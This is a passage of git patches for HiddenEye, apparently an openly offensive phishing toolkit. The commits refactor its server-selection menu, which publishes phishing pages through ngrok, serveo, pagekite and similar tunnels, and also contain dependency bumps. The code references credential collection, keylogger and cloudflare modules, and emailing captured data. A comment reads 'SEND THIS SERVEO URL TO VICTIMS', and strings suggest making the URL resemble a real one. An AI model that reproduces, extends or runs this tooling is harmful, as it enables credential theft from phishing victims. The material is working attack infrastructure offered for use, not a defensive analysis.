select server - run_command('clear') - #print(''' - # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} - # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} - # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} - # {0}http://github.com/darksecdevelopers - # {0}** BY:DARKSEC ** \n\n-------------------------------\n - - # ) - print(global_localization.hidden_eye_logo) - print(global_localization.official_website_link) - print(global_localization.by_darksec) - print(localization.lang_server_selection["server_selection"]) - print(localization.lang_server_selection["select_any_available_server"]) - main_runner.print_sorted_as_menu(localization.lang_server_selection["servers_list"]) - choice = input(global_localization.input_line) - choice = choice.zfill(2) - if choice == '00': - run_command('clear') - server_runner.start_localhost(port) #FIXED - elif choice == '01': - run_command('clear') - server_runner.start_ngrok(port) # FIXED - elif choice == '02': - run_command('clear') - server_runner.start_serveo(port) # ALMOST FIXED - elif choice == '03': - run_command('clear') - server_runner.start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK - elif choice == '04': - run_command('clear') - server_runner.start_localtunnel(port, True) - elif choice == '05': - run_command('clear') - server_runner.start_openport(port) - elif choice == '06': - run_command('clear') - server_runner.start_pagekite(port) - else: - run_command('clear') - return server_selection(port) diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index 1e97a2f..779d634 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -9,11 +9,8 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \ regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path import Defs.ThemeManager.theme as theme -import Defs.ActionManager.Server.server_menu as server_menu -import Defs.ActionManager.simple_informant as simple_informant import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization -import Defs.ActionManager.main_runner as main_runner import os default_palette = theme.default_palette @@ -24,6 +21,52 @@ except FileExistsError: enter_server_www = chdir("Server/www") exit_server_www = chdir("../..") +default_palette = theme.default_palette + + +def server_selection(port): # Question where user must select server + run_command('clear') + # print(''' + # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + # {0}http://github.com/darksecdevelopers + # {0}** BY:DARKSEC ** \n\n-------------------------------\n + + # ) + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(localization.lang_server_selection["server_selection"]) + print(localization.lang_server_selection["select_any_available_server"]) + print_sorted_as_menu(localization.lang_server_selection["servers_list"]) + choice = input(global_localization.input_line) + choice = choice.zfill(2) + if choice == '00': + run_command('clear') + start_localhost(port) # FIXED + elif choice == '01': + run_command('clear') + start_ngrok(port) # FIXED + elif choice == '02': + run_command('clear') + start_serveo(port) # ALMOST FIXED + elif choice == '03': + run_command('clear') + start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK + elif choice == '04': + run_command('clear') + start_localtunnel(port, True) + elif choice == '05': + run_command('clear') + start_openport(port) + elif choice == '06': + run_command('clear') + start_pagekite(port) + else: + run_command('clear') + return server_selection(port) + def set_php(host='127.0.0.1', port=80): run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL) @@ -32,14 +75,17 @@ def set_php(host='127.0.0.1', port=80): def set_port(port=80): - run_background_command(["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL) + run_background_command( + ["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL) def start_server(port=80): - # run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/]) + # run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", + # "2>&1"**/]) set_port(port) # enter_server_www - # run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"]) + # run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", + # "/dev/null", "2>&1", "&"]) set_php(port=port) # exit_server_www @@ -54,7 +100,10 @@ def start_localhost(port): # {0}** BY:DARKSEC ** \n\n------------------------------- # '') - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_localhost["localhost_server"]) host = "127.0.0.1" print(localization.lang_start_localhost["your_localhost_is"] + host) @@ -63,7 +112,8 @@ def start_localhost(port): # && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port)) enter_server_www set_php(host, port) - print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port)) + print(localization.lang_start_localhost[ + "starting_server_on_addr"] + "{0}:{1}".format(host, port)) # wait(2) run_command('clear') # print(''' @@ -73,18 +123,23 @@ def start_localhost(port): # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_localhost["running_localhost_server"]) # print("- # ".format(default_palette[0], default_palette[2], default_palette[3], port, host)) print(localization.lang_start_localhost["send_this_url_suggestion"]) - print(localization.lang_start_localhost["localhost_url"] + '{0}:{1}\n'.format(host, port)) + print(localization.lang_start_localhost[ + "localhost_url"] + '{0}:{1}\n'.format(host, port)) def start_ngrok(port): ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml" - # ngrok.set_auth_token("") # Will be easier to input later + # ngrok.set_auth_token("") # Will be easier to input + # later run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' @@ -94,11 +149,15 @@ def start_ngrok(port): # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_ngrok["ngrok_server"]) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) - ##chmod('Server', 0o777) - ##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) + # chmod('Server', 0o777) + # run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, + # stderr=DEVNULL) ngrok.connect(port=int(port)) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE @@ -117,8 +176,10 @@ def start_ngrok(port): # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_ngrok["send_this_url_suggestion"]) - print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) - print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) + print(localization.lang_start_localhost[ + "localhost_url"] + '127.0.0.1:' + port) + print(localization.lang_start_ngrok[ + "ngrok_url"] + url + default_palette[4]) break @@ -137,17 +198,23 @@ def start_serveo(port): # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- - # + # # ''') - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_random_server"]) - # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port)) + # run_command('ssh -o StrictHostKeyChecking=no -o + # ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> + # /dev/null &' % (port)) run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', 'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: - output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) + output = check_output( + "grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") # print("-\n # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} @@ -155,8 +222,10 @@ def start_serveo(port): # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_serveo["send_this_url_suggestion"]) - print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) - print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) + print(localization.lang_start_localhost[ + "localhost_url"] + '127.0.0.1:' + port) + print(localization.lang_start_serveo[ + "serveo_url"] + url + default_palette[4]) except CalledProcessError: wait(4) @@ -164,6 +233,7 @@ def start_serveo(port): return random(port) def custom(port): + import Defs.ActionManager.main_runner as main_runner # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} @@ -176,9 +246,13 @@ def start_serveo(port): # \n # \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2])) - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) - print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"]) + print(localization.lang_start_serveo[ + "make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo["insert_custom_subdomain"]) lnk = input(global_localization.input_line) @@ -186,14 +260,18 @@ def start_serveo(port): lnk += ".serveo.net" else: pass - # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port)) + # run_command('ssh -o StrictHostKeyChecking=no -o + # ServerAliveInterval=60 -o ServerAliveCountMax=60 -R + # %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, + # port)) run_command( ['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', '-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) wait(7) try: - output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) + output = check_output( + "grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") run_command('clear') # print(''' @@ -203,15 +281,20 @@ def start_serveo(port): # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0} # \n-------------------------------'''.format(default_palette[0], default_palette[2])) - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) # print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS- # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) print(localization.lang_start_serveo["send_this_url_suggestion"]) - print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) - print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) + print(localization.lang_start_localhost[ + "localhost_url"] + '127.0.0.1:' + port) + print(localization.lang_start_serveo[ + "serveo_url"] + url + default_palette[4]) print("\n") @@ -237,7 +320,10 @@ def start_serveo(port): # # # '''.format(default_palette[0], default_palette[2])) - simple_informant.global_message() + print(global_localization.hidden_eye_logo) + print(global_localization.official_website_link) + print(global_localization.by_darksec) + print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_url_option_selection"]) print(localization.lang_start_serveo["serveo_phishing_warning"]) print(localization.lang_start_serveo["choose_type_of_url"]) @@ -260,7 +346,7 @@ def start_serveo(port): choice = input("HiddenEye >> ") choice = choice.lower() if choice == 'y': - return server_menu.server_selection(port) + return server_selection(port) else: return start_serveo(port) @@ -424,7 +510,7 @@ def start_openport(port): print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], default_palette[4])) - server_menu.server_selection(port) + server_selection(port) urlFile = open('openport.txt', 'r') urltoverify = urlFile.read().strip() @@ -459,12 +545,13 @@ def start_openport(port): print('[*] Openport not Installed correctly, Try installing it manually !!') print('[*] Check Here ... https://openport.io/download') input('\n Press Enter To Go back..') - server_menu.server_selection(port) + server_selection(port) else: manage_url(port) def start_pagekite(port): + from Defs.ActionManager.simple_informant import credentials_collector run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} @@ -482,7 +569,7 @@ def start_pagekite(port): print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0], default_palette[4])) wait(2) - server_menu.server_selection(port) + server_selection(port) else: pass else: diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py index 507c6df..fe456d0 100644 --- a/Defs/ActionManager/simple_informant.py +++ b/Defs/ActionManager/simple_informant.py @@ -8,7 +8,7 @@ from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket import Defs.ThemeManager.theme as theme import Defs.FeatureManager.EmailManager.email_prompt as email_prompt -import Defs.ActionManager.Server.server_menu as server_menu +import Defs.ActionManager.Server.server_runner as server_runner import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization import Defs.LocalizationManager.lang_global_usage as global_localization @@ -44,7 +44,7 @@ def exit_message(port = 80): # Message when HiddenEye exit elif choice == 'm': email_prompt.captured_data_email_confirmation(port) elif choice == 's': - server_menu.server_selection(port) + server_runner.server_selection(port) elif choice == 'x': run_command('clear') print(global_localization.hidden_eye_logo) diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py index 7358d37..e9ed4c3 100644 --- a/Defs/FeatureManager/EmailManager/email_prompt.py +++ b/Defs/FeatureManager/EmailManager/email_prompt.py @@ -8,12 +8,12 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile import Defs.ThemeManager.theme as theme -import Defs.ActionManager.simple_informant as simple_informant default_palette = theme.default_palette def captured_data_email_prompt(): run_command('clear') + import Defs.ActionManager.simple_informant as simple_informant print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} From b791fe473d940d8cd6e3f2469eee3475a47429c4 Mon Sep 17 00:00:00 2001 From: "dependabot-preview[bot]" <27856297+dependabot-preview[bot]@users.noreply.github.com> Date: Mon, 1 Jun 2020 08:47:35 +0000 Subject: [PATCH 28/32] Bump pyngrok from 2.1.7 to 3.0.0 Bumps [pyngrok](https://github.com/alexdlaird/pyngrok) from 2.1.7 to 3.0.0. - [Release notes](https://github.com/alexdlaird/pyngrok/releases) - [Changelog](https://github.com/alexdlaird/pyngrok/blob/master/CHANGELOG.md) - [Commits](https://github.com/alexdlaird/pyngrok/compare/2.1.7...3.0.0) Signed-off-by: dependabot-preview[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 50fe8af..6414ac8 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ requests==2.23.0 -pyngrok==2.1.7 +pyngrok==3.0.0 From e74e111734f3ae11d9c218c7e3e83bd2a7cfd389 Mon Sep 17 00:00:00 2001 From: Souldiv Date: Wed, 3 Jun 2020 16:39:46 +0530 Subject: [PATCH 29/32] created helper.py under LocalizationManager. worked on requested changes. --- Defs/ActionManager/Server/server_runner.py | 8 +++---- Defs/ActionManager/main_runner.py | 9 +------- .../EmailManager/email_prompt.py | 2 +- Defs/LocalizationManager/helper.py | 7 +++++++ .../lang_server/lang_server_menu.py | 21 ------------------- .../lang_server/lang_server_runner.py | 10 +++++++++ 6 files changed, 22 insertions(+), 35 deletions(-) create mode 100644 Defs/LocalizationManager/helper.py delete mode 100644 Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_menu.py diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index 779d634..3d1bd3d 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -11,9 +11,9 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_backgr import Defs.ThemeManager.theme as theme import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization +from Defs.LocalizationManager.helper import print_sorted_as_menu import os -default_palette = theme.default_palette try: os.mkdir("Server/www") except FileExistsError: @@ -233,8 +233,6 @@ def start_serveo(port): return random(port) def custom(port): - import Defs.ActionManager.main_runner as main_runner - # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} @@ -329,7 +327,7 @@ def start_serveo(port): print(localization.lang_start_serveo["choose_type_of_url"]) # print(" \n".format(default_palette[0], default_palette[2])) - main_runner.print_sorted_as_menu(localization.lang_start_serveo["url_types"]) + print_sorted_as_menu(localization.lang_start_serveo["url_types"]) choice = input(global_localization.input_line) run_command('clear') if choice == '1': @@ -592,4 +590,4 @@ def start_pagekite(port): run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain)) except KeyboardInterrupt: print('[!] Please Copy the Generated Link For Further Use') - simple_informant.credentials_collector(port) + credentials_collector(port) diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 43ace5a..c95c676 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -7,22 +7,15 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove -import Defs.ThemeManager.theme as theme import Defs.ActionManager.simple_informant as simple_informant import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization +from Defs.LocalizationManager.helper import print_sorted_as_menu import os import time -default_palette = theme.default_palette module_loading_message = simple_informant.module_loading_message -def print_sorted_as_menu(sorting_list): - col_width = max(len(word) for row in sorting_list for word in row) + 2 - for row in sorting_list: - print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2])) - - def start_main_menu(): run_command('clear') print(global_localization.hidden_eye_logo) diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py index e9ed4c3..fbb435f 100644 --- a/Defs/FeatureManager/EmailManager/email_prompt.py +++ b/Defs/FeatureManager/EmailManager/email_prompt.py @@ -13,7 +13,6 @@ default_palette = theme.default_palette def captured_data_email_prompt(): run_command('clear') - import Defs.ActionManager.simple_informant as simple_informant print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} @@ -37,6 +36,7 @@ def captured_data_email_prompt(): captured_data_email_prompt() def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address. + import Defs.ActionManager.simple_informant as simple_informant choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y' or choice == 'y': diff --git a/Defs/LocalizationManager/helper.py b/Defs/LocalizationManager/helper.py new file mode 100644 index 0000000..69dec11 --- /dev/null +++ b/Defs/LocalizationManager/helper.py @@ -0,0 +1,7 @@ +import Defs.ThemeManager.theme as theme +default_palette = theme.default_palette + +def print_sorted_as_menu(sorting_list): + col_width = max(len(word) for row in sorting_list for word in row) + 2 + for row in sorting_list: + print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2])) \ No newline at end of file diff --git a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_menu.py b/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_menu.py deleted file mode 100644 index 391cc17..0000000 --- a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_menu.py +++ /dev/null @@ -1,21 +0,0 @@ -# -# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com -# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE. -# This is free software, and you are welcome to redistribute it -# under certain conditions; you can read LICENSE for details. -# - -import Defs.ThemeManager.theme as theme -from Defs.LocalizationManager.localization import _ - -default_palette = theme.default_palette - -lang_server_selection = { - "server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), - "select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]), - "servers_list" : - [ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'], - ['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'], - ['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'], - ['{0}[{1}03{0}]{1}Localxpose (not working now)']] -} diff --git a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py b/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py index cba515d..bc13205 100644 --- a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py +++ b/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py @@ -10,6 +10,16 @@ from Defs.LocalizationManager.localization import _ default_palette = theme.default_palette +lang_server_selection = { + "server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), + "select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]), + "servers_list" : + [ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'], + ['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'], + ['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'], + ['{0}[{1}03{0}]{1}Localxpose (not working now)']] +} + lang_start_localhost = { "localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "your_localhost_is" : _('Your Localhost is '), From 11914f60386244418207fa53caaa320917b3e5bd Mon Sep 17 00:00:00 2001 From: Souldiv Date: Wed, 3 Jun 2020 16:45:52 +0530 Subject: [PATCH 30/32] updated run file: HiddenEye.py --- HiddenEye.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/HiddenEye.py b/HiddenEye.py index 91d0434..af4088e 100755 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -10,7 +10,6 @@ import Defs.FeatureManager.keylogger as keylogger import Defs.FeatureManager.cloudflare as cloudflare import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.ActionManager.Server.server_runner as server_runner -import Defs.ActionManager.Server.server_menu as server_menu import Defs.ActionManager.simple_informant as simple_informant import multiprocessing import sys @@ -46,7 +45,7 @@ if __name__ == "__main__": ############## server_runner.start_server(port) - server_menu.server_selection(port) + server_runner.server_selection(port) multiprocessing.Process(target=server_runner.start_server, args=(port,)).start() simple_informant.credentials_collector(port) From 5ac93bf4772a55be2fcdabd7d7e00a981ec9a6a9 Mon Sep 17 00:00:00 2001 From: Souldiv Date: Wed, 3 Jun 2020 16:50:12 +0530 Subject: [PATCH 31/32] license doc string in helper.py --- Defs/LocalizationManager/helper.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/Defs/LocalizationManager/helper.py b/Defs/LocalizationManager/helper.py index 69dec11..93de617 100644 --- a/Defs/LocalizationManager/helper.py +++ b/Defs/LocalizationManager/helper.py @@ -1,3 +1,12 @@ +# +# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com +# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE. +# This is free software, and you are welcome to redistribute it +# under certain conditions; you can read LICENSE for details. +# + + + import Defs.ThemeManager.theme as theme default_palette = theme.default_palette From 2d8001f560b671713d3c45573ed065f21a46eae6 Mon Sep 17 00:00:00 2001 From: "dependabot-preview[bot]" <27856297+dependabot-preview[bot]@users.noreply.github.com> Date: Mon, 8 Jun 2020 08:36:24 +0000 Subject: [PATCH 32/32] Bump pyngrok from 3.0.0 to 3.1.1 Bumps [pyngrok](https://github.com/alexdlaird/pyngrok) from 3.0.0 to 3.1.1. - [Release notes](https://github.com/alexdlaird/pyngrok/releases) - [Changelog](https://github.com/alexdlaird/pyngrok/blob/master/CHANGELOG.md) - [Commits](https://github.com/alexdlaird/pyngrok/compare/3.0.0...3.1.1) Signed-off-by: dependabot-preview[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 6414ac8..2cec159 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ requests==2.23.0 -pyngrok==3.0.0 +pyngrok==3.1.1